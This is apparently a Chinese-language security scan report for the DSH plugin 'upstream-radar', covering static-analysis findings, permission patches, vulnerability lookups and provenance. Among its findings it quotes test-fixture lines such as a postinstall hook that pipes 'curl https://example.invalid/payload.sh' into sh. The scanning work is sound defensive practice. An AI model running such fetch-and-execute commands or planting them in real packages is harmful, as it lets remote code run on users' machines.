返回插件页
安全检测报告

upstream-radar存在风险89/100

@MicroMilo
安全npm 预构建包

面向 DSH 插件的常驻依赖安全监控:追踪实际安装路径、OSV 漏洞、npm 发布和破坏性更新信号,再把项目证据交给 DSH Agent。

Star6GitHub · 仅用于排序
npm 周下载10.3kupstream-radar
固定 commit9cbe345d0b2026-08-22
扫描时间2026-08-22 08:24 UTCHT-DSH-0.2.2

检测结论

CAUTION · HT-DSH-0.2.2 · 9cbe345

在 350 个文件中有 28 项有效发现(置信度 ≥ 中)。

有效发现(置信度 ≥ 中):严重 0 0 4 24· 原始命中 42 · 低置信度不计入 14
安装
dsh plugin --profile web add upstream-radar
将安装 npm upstream-radar@0.40.0;本报告检测的是 commit 9cbe345。发布包与源码尚未比对,请核对版本。
存在 4 项中等级发现,安装前请先阅读证据。

检测明细

每层做了什么、跑没跑、有效发现数
L0来源身份npm 元数据 ↔ 仓库已完成0
L1供应链安装脚本 · 未固定依赖 · 锁文件有锁文件0
L1已知漏洞OSV.dev · 仅生产依赖闭包已完成0
L2静态分析350 个文件 · 原始命中 37已完成26
L2.5模型研判sonnet · 2/2已完成2
L3权限清单覆盖宿主行 0 · 安全关键 0 · 敏感 0已完成2
L4隔离动态运行容器 · 假凭据金丝雀 · 出站记录未执行
L5人工复核申诉 72 小时内复核未执行
未执行的层不构成通过;只有“已完成”的层提供了证据。分数 = 100 − 去重规则罚分(严重 35 / 高 16 / 中 5 / 低 1),只用于同策略版本内排序。

权限清单 · cordis patch 解析

插件安装后会改变宿主的哪些行
插入的行1
覆盖/禁用的宿主行0
!!js 表达式8
浏览器端 bundle
覆盖的宿主行
没有覆盖任何 dsh-base 宿主行。
安全关键 seam · 未改动
sandboxsandbox-policybash-sandboxpwsh-sandboxapprovalpermissioncredentialssubprocessshell-envfs-observation-policy
“未改动”只说明该插件的 patch 没有覆盖这些行;插件代码仍以宿主进程权限运行。
插入的行
upstream-radar · upstream-radar/dsh
源码中出现的外部主机
example.testapi.github.comhooks.example.testosv.example.testopen.feishu.cnslsa.devwww.cisa.govapi.github.testcisa.example.testepss.example.testalerts.example.testapi.osv.devapi.first.orgwww.first.org
只是字符串出现,不等于运行时一定访问;用于核对插件声称的服务商与实际目的地是否一致。

证据

28 项有效 · 按严重度排序 · 严重项不折叠
HT-CONFIG-001Cordis 配置包含可执行 !!js 表达式
置信度 高L3 · DSH 权限语义
cordis.patch.yml:7GitHub
7!!js process.env.UPSTREAM_RADAR_CONFIG
规则备注 · 表达式访问模块、进程或网络,超出读取注入服务的常规用法
!!js 是 DSH 的官方配置机制;只有表达式引入模块、访问进程或网络时才超出常规用法。
修复建议只读取注入的服务;需要更多能力时改为结构化配置并记录副作用。
HT-CONFIG-001Cordis 配置包含可执行 !!js 表达式
置信度 高L3 · DSH 权限语义
cordis.patch.yml:8GitHub
8!!js process.env.UPSTREAM_RADAR_STATE
规则备注 · 表达式访问模块、进程或网络,超出读取注入服务的常规用法
!!js 是 DSH 的官方配置机制;只有表达式引入模块、访问进程或网络时才超出常规用法。
修复建议只读取注入的服务;需要更多能力时改为结构化配置并记录副作用。
HT-DATA-001同一模块同时接触凭据与网络
置信度 中L2 · 静态分析
scripts/dsh-case-showcase.mjs:33GitHub
33credential access at line 33 + outbound network at line 104
模型研判功能所需

该文件属于开发用 showcase 脚本(未列入 package.json files 字段,不随 npm 包发布),仅在显式传入 --env-file 或用户自行设置 ISSUE_LOCATOR_LLM_* 环境变量时,把该 baseUrl/apiKey 用于用户自己配置的 LLM 服务,属于案例分析工具的正常功能。

同一执行边界同时拥有秘密读取和对外发送能力,已形成直接的数据外传路径;对模型接入类插件这通常是功能本身。
修复建议拆分能力边界、限定目的域名,并证明不会发送凭据值。
HT-DATA-001同一模块同时接触凭据与网络
置信度 中L2 · 静态分析
src/upstream-observer.ts:1904GitHub
1904credential access at line 1904 + outbound network at line 1778
模型研判功能所需

读取标准 GITHUB_TOKEN 环境变量并注入 UpstreamObserverClient,用于向 GitHub API 发起认证请求以监控依赖发布/变更,凭据发往其本身对应的服务方,符合插件“追踪上游变更”的既定用途。

同一执行边界同时拥有秘密读取和对外发送能力,已形成直接的数据外传路径;对模型接入类插件这通常是功能本身。
修复建议拆分能力边界、限定目的域名,并证明不会发送凭据值。
低等级发现 24 项 · 计入结论但不改变状态展开
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/consumer-smoke.mjs:3GitHub
3node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/dsh-adoption-showcase.mjs:2GitHub
2node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/dsh-headless-showcase.mjsGitHub
1node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/dsh-load-probe-showcase.mjs:2GitHub
2node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/dsh-runtime-graph-showcase.mjsGitHub
1node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/monitor-dsh-findings.mjs:4GitHub
4node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/npm-lock-monitor-showcase.mjs:3GitHub
3spawnSync
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/npm-lock-monitor-showcase.mjs:3GitHub
3node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/pnpm-lock-showcase.mjs:3GitHub
3spawnSync
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/pnpm-lock-showcase.mjs:3GitHub
3node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/refresh-dsh-batch-index.mjs:5GitHub
5node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/release-preflight.mjs:2GitHub
2spawnSync
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/release-preflight.mjs:2GitHub
2node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/setup-start-showcase.mjs:2GitHub
2spawnSync
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
scripts/setup-start-showcase.mjs:2GitHub
2node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/cli.ts:4GitHub
4spawnSync
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/cli.ts:4GitHub
4node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/dsh-install-observation.ts:2GitHub
2node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/dsh-probe.ts:2GitHub
2node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/dsh-review.ts:2GitHub
2node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/npm.ts:7GitHub
7node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/repository.tsGitHub
1spawnSync
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/repository.tsGitHub
1node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 中L2 · 静态分析
src/upstream-observer.ts:3GitHub
3node:child_process
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
低置信度命中 14 项 · 不计入结论展开
HT-INSTALL-001安装阶段执行高风险生命周期脚本
置信度 低L1 · 供应链
examples/fixtures/block-remote-shell/package.json:5GitHub
5"postinstall": "curl https://example.invalid/payload.sh | sh"
规则备注 · 位于测试、示例或文档目录
修复建议移除安装期执行,或提供可复现构建产物并将脚本改为显式命令。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
examples/fixtures/block-remote-shell/package.json:5GitHub
5curl https://example.invalid/payload.sh | sh
规则备注 · 命令位于字符串字面量中,执行路径需人工确认;位于测试、示例或文档目录
修复建议先下载并校验固定哈希,再由用户显式执行。
HT-INSTALL-001安装阶段执行高风险生命周期脚本
置信度 低L1 · 供应链
examples/fixtures/probe-unknown-dsh-plugin/package.json:6GitHub
6"postinstall": "node ./index.js"
规则备注 · 位于测试、示例或文档目录
修复建议移除安装期执行,或提供可复现构建产物并将脚本改为显式命令。
HT-INSTALL-002Git 安装会触发 prepare 构建脚本
置信度 低L1 · 供应链
examples/fixtures/review-install-script/package.json:6GitHub
6"prepare": "node scripts/build.js"
规则备注 · 该插件以 npm/tarball 预构建方式分发,prepare 不在用户机器上执行;位于测试、示例或文档目录
修复建议发布预构建制品(npm 或 GitHub Release tarball),并记录源码与发布包的一致性证明。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
examples/reports/block-remote-shell.json:24GitHub
24curl https://example.invalid/payload.sh | sh
规则备注 · 命令位于字符串字面量中,执行路径需人工确认;位于测试、示例或文档目录
修复建议先下载并校验固定哈希,再由用户显式执行。
HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
test/action-summary.test.ts:2GitHub
2spawnSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
test/action-summary.test.ts:2GitHub
2node:child_process
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
test/action.test.ts:6GitHub
6node:child_process
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
test/cli.test.ts:2GitHub
2spawnSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
test/cli.test.ts:2GitHub
2node:child_process
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
test/release-preflight.test.ts:2GitHub
2spawnSync
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
HT-EXEC-001直接创建宿主子进程
置信度 低L2 · 静态分析
test/release-preflight.test.ts:2GitHub
2node:child_process
规则备注 · 位于测试、示例或文档目录
修复建议通过 DSH 受控执行边界运行命令,并公开参数与审批策略。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
test/render.test.ts:33GitHub
33curl https://example.invalid/install.sh | sh
规则备注 · 命令位于字符串字面量中,执行路径需人工确认;位于测试、示例或文档目录
修复建议先下载并校验固定哈希,再由用户显式执行。
严重HT-EXEC-002远程脚本直连 Shell 执行
置信度 低L2 · 静态分析
test/scan.test.ts:69GitHub
69curl https://example.invalid/install.sh | sh
规则备注 · 命令位于字符串字面量中,执行路径需人工确认;位于测试、示例或文档目录
修复建议先下载并校验固定哈希,再由用户显式执行。

依赖漏洞 · L1

已查询 OSV.dev:pnpm-lock.yaml 中的生产依赖,0 个已知漏洞
开发依赖及其传递链不计入;只覆盖 OSV 收录的公开漏洞;是否可被利用取决于插件如何使用该依赖。

身份与来源

GitHubMicroMilo/upstream-radar固定 commit9cbe345d0b78 · 2026-08-22内容摘要sha256:0644f0aaf3d4829fnpmupstream-radar@0.40.0 · 61 个版本最近发布2026-08-21 09:41 UTCrepository 字段指向同一仓库发布来源证明有 provenance 证明维护者1发布包 ↔ 源码未比对收录日期2026-08-15

宿主能力

范围,不是结论
Agent 控制浏览器 UI凭据环境变量文件系统Host Bundle外部网络会话数据宿主子进程遥测
能力标签来自源码中的 API 使用模式:插件读文件、访问网络、创建子进程、读取凭据都会被标出。很多能力是功能所需;有没有问题看上面的证据。

检测覆盖

源码获取已完成
manifest 解析已完成
bundle 配置已完成
依赖锁定有锁文件
已知漏洞查询已完成
来源身份已完成
发布包 ↔ 源码比对未比对
模型研判已完成
隔离动态运行未执行
人工复核未执行
2026-08-22 08:24 UTC存在风险
HT-DSH-0.2.2 · 9cbe345
策略升级到 HT-DSH-0.2.2
2026-08-21 11:25 UTC存在风险
HT-DSH-0.2.1 · a6bfd62
策略升级到 HT-DSH-0.2.1
2026-08-21 10:54 UTC存在风险
HT-DSH-0.2.0 · a6bfd62
首次扫描

徽章

贴进 README,点击回到本页
Harness Trust: 存在风险
[![Harness Trust](https://dshmod.com/badge/upstream-radar.svg)](https://dshmod.com/plugins/micromilo-upstream-radar)
API 文档
徽章文案只有风险状态与策略版本,状态变化时自动更新。

已知限制与申诉

作者或用户认为某项发现不成立?提交申诉,我们在 72 小时内复核并公开处理记录。